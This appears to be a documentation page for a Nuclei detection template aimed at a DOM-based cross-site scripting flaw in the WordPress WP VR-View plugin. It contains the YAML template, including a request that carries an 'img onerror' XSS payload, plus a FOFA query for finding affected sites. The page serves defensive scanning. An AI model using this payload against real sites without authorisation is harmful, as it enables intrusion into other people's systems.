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WP VR-View Plugin - Cross-Site Scripting

ID: wp-vr-view-xss

Severity: high

Author: ritikchaddha

Tags: wp,wp-plugin,wordpress,wp-vr-view,xss

Description

Section titled “Description”

While testing the VRView web application, we discovered a DOM Based Cross-Site Scripting Vulnerability in the handling of errors through an inappropriate use of the “innerHTML” property. The use of this property must be combined with the encoding of the data before it is used for data assignment, and in this case, it wasn’t used safely.

YAML Source

Section titled “YAML Source”
id: wp-vr-view-xss


info:
  name: WP VR-View Plugin - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    While testing the VRView web application, we discovered a DOM Based Cross-Site Scripting Vulnerability in the handling of errors through an inappropriate use of the "innerHTML" property. The use of this property must be combined with the encoding of the data before it is used for data assignment, and in this case, it wasn't used safely.
  reference:
    - https://blog.mindedsecurity.com/2018/04/dom-based-cross-site-scripting-in.html
  metadata:
    max-request: 2
    fofa-query: body="/wp-content/plugins/wp-vr-view/"
  tags: wp,wp-plugin,wordpress,wp-vr-view,xss


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/plugins/wp-vr-view'
        internal: true


  - raw:
      - |
        GET /wp-content/plugins/wp-vr-view/asset/?image=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'


      - type: word
        part: content_type
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-vr-view-xss.yaml"

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